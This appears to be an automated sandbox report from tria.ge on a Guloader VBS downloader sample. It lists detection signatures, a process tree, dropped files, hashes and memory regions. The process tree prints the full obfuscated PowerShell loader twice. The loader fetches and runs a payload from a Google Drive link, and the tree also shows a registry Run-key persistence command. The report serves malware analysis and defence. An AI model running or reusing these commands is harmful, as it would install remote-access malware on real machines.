Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/09/2024, 10:30

General

  • Target

    7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs

  • Size

    7KB

  • MD5

    cc6e41e0786764096a50057a3743e7c6

  • SHA1

    2493a1410d91a8084249ef9f0b3e7aa885ddef5d

  • SHA256

    7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d

  • SHA512

    5bfe75eb2661459a1073348cfadb64ced142baae9ff54fcd7a8733ae7ffc750f9ab41f2e1415ed275c7ec9f33257a7201bf0e5881ff0d26c2eac644c04aee38c

  • SSDEEP

    96:lmXU2FvaJR+t7tVQm+83tkD3J8j0dEvOItsLQWSK+PtevdOYPmCVUbtCpgjPVHQv:lmk2VaJeXj0exCnItmd/Pml9jPp4jQYB

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 59 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 63 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 58 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 59 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:244
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
        3⤵
          PID:2520
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4036
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4576
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4272
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4028
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
                6⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:1540
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3892
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3272
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2288
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4260
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1900
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1872
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1568
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4592
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2184
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4328
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1716
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4400
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2856
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:264
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2932
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2000
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1040
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5060
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4664
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2044
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1036
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2020
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3236
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2424
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4440
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2488
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:776
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2724
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4316
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4960
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2432
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:492
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1708
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4880
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1836
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:772
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1800
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2920
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3312
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1616
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1396
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3556
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5068
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3020
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3696
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5028
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2096
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3604
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1352
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1212
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4032
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:1812
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:3616
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4928
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5084
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4976
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2972
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:316
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3704

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\remcos\logs.dat

        Filesize

        140B

        MD5

        1aae708801be479252d269f85382fa1a

        SHA1

        f81a966aa268750ce518d7caae6ebbef11b858e2

        SHA256

        6c75325ec1cb7a06e2d8e71b52af693700c5c08de6aa000e23048d0a70fe1de2

        SHA512

        915bf86379b834cbcbca472c6446903d1ae2f52895baf48d4f0cbf0d7d8085b6b3f50763f2f08aa9be6d81bd4cd7762f4e69ed2b182f14e93dbaba317cb49fdd

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5sanjc2j.0bu.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Theis.Wee

        Filesize

        440KB

        MD5

        101f0456c78a51dc6621f338fa0590e6

        SHA1

        744017fe918a845dfc161516dab0f86579912507

        SHA256

        3663b6fbf739bde311b85220fc41f266ec6f90cc6445c3ce77f3db94972aeac3

        SHA512

        f56f372d17ee4843b3c68831d66549ccd9d72a4effebac7c53f4dda841d5454f4599f736db890f055604e2b179eab4c43836162567bdd1e63a598a807386a5f0

      • memory/244-31-0x00007FFBA98C0000-0x00007FFBAA381000-memory.dmp

        Filesize

        10.8MB

      • memory/244-30-0x00007FFBA98C3000-0x00007FFBA98C5000-memory.dmp

        Filesize

        8KB

      • memory/244-60-0x00007FFBA98C0000-0x00007FFBAA381000-memory.dmp

        Filesize

        10.8MB

      • memory/244-0-0x00007FFBA98C3000-0x00007FFBA98C5000-memory.dmp

        Filesize

        8KB

      • memory/244-1-0x000002237D900000-0x000002237D922000-memory.dmp

        Filesize

        136KB

      • memory/244-12-0x00007FFBA98C0000-0x00007FFBAA381000-memory.dmp

        Filesize

        10.8MB

      • memory/244-2-0x00007FFBA98C0000-0x00007FFBAA381000-memory.dmp

        Filesize

        10.8MB

      • memory/264-106-0x00000000008F0000-0x0000000000973000-memory.dmp

        Filesize

        524KB

      • memory/264-107-0x00000000008F0000-0x0000000000973000-memory.dmp

        Filesize

        524KB

      • memory/264-108-0x00000000008F0000-0x0000000000973000-memory.dmp

        Filesize

        524KB

      • memory/1036-131-0x0000000000B70000-0x0000000000BF3000-memory.dmp

        Filesize

        524KB

      • memory/1036-132-0x0000000000B70000-0x0000000000BF3000-memory.dmp

        Filesize

        524KB

      • memory/1040-118-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/1040-119-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/1568-83-0x0000000000EA0000-0x0000000000F23000-memory.dmp

        Filesize

        524KB

      • memory/1568-82-0x0000000000EA0000-0x0000000000F23000-memory.dmp

        Filesize

        524KB

      • memory/1568-81-0x0000000000EA0000-0x0000000000F23000-memory.dmp

        Filesize

        524KB

      • memory/1716-96-0x0000000000440000-0x00000000004C3000-memory.dmp

        Filesize

        524KB

      • memory/1716-95-0x0000000000440000-0x00000000004C3000-memory.dmp

        Filesize

        524KB

      • memory/1716-97-0x0000000000440000-0x00000000004C3000-memory.dmp

        Filesize

        524KB

      • memory/1872-79-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/1872-78-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/1900-74-0x0000000000F00000-0x0000000000F83000-memory.dmp

        Filesize

        524KB

      • memory/1900-75-0x0000000000F00000-0x0000000000F83000-memory.dmp

        Filesize

        524KB

      • memory/2000-114-0x0000000000930000-0x00000000009B3000-memory.dmp

        Filesize

        524KB

      • memory/2000-113-0x0000000000930000-0x00000000009B3000-memory.dmp

        Filesize

        524KB

      • memory/2000-115-0x0000000000930000-0x00000000009B3000-memory.dmp

        Filesize

        524KB

      • memory/2044-129-0x0000000000A90000-0x0000000000B13000-memory.dmp

        Filesize

        524KB

      • memory/2044-127-0x0000000000A90000-0x0000000000B13000-memory.dmp

        Filesize

        524KB

      • memory/2044-128-0x0000000000A90000-0x0000000000B13000-memory.dmp

        Filesize

        524KB

      • memory/2184-88-0x0000000000D60000-0x0000000000DE3000-memory.dmp

        Filesize

        524KB

      • memory/2184-89-0x0000000000D60000-0x0000000000DE3000-memory.dmp

        Filesize

        524KB

      • memory/2184-90-0x0000000000D60000-0x0000000000DE3000-memory.dmp

        Filesize

        524KB

      • memory/2288-67-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/2288-68-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/2288-66-0x0000000001000000-0x0000000001083000-memory.dmp

        Filesize

        524KB

      • memory/2856-103-0x0000000000740000-0x00000000007C3000-memory.dmp

        Filesize

        524KB

      • memory/2856-104-0x0000000000740000-0x00000000007C3000-memory.dmp

        Filesize

        524KB

      • memory/2856-102-0x0000000000740000-0x00000000007C3000-memory.dmp

        Filesize

        524KB

      • memory/2932-110-0x0000000000D20000-0x0000000000DA3000-memory.dmp

        Filesize

        524KB

      • memory/2932-111-0x0000000000D20000-0x0000000000DA3000-memory.dmp

        Filesize

        524KB

      • memory/2932-109-0x0000000000D20000-0x0000000000DA3000-memory.dmp

        Filesize

        524KB

      • memory/3272-65-0x0000000000F00000-0x0000000000F83000-memory.dmp

        Filesize

        524KB

      • memory/3272-63-0x0000000000F00000-0x0000000000F83000-memory.dmp

        Filesize

        524KB

      • memory/3272-64-0x0000000000F00000-0x0000000000F83000-memory.dmp

        Filesize

        524KB

      • memory/3892-57-0x0000000000A70000-0x0000000000AF3000-memory.dmp

        Filesize

        524KB

      • memory/3892-55-0x0000000000A70000-0x0000000000AF3000-memory.dmp

        Filesize

        524KB

      • memory/3892-56-0x0000000000A70000-0x0000000000AF3000-memory.dmp

        Filesize

        524KB

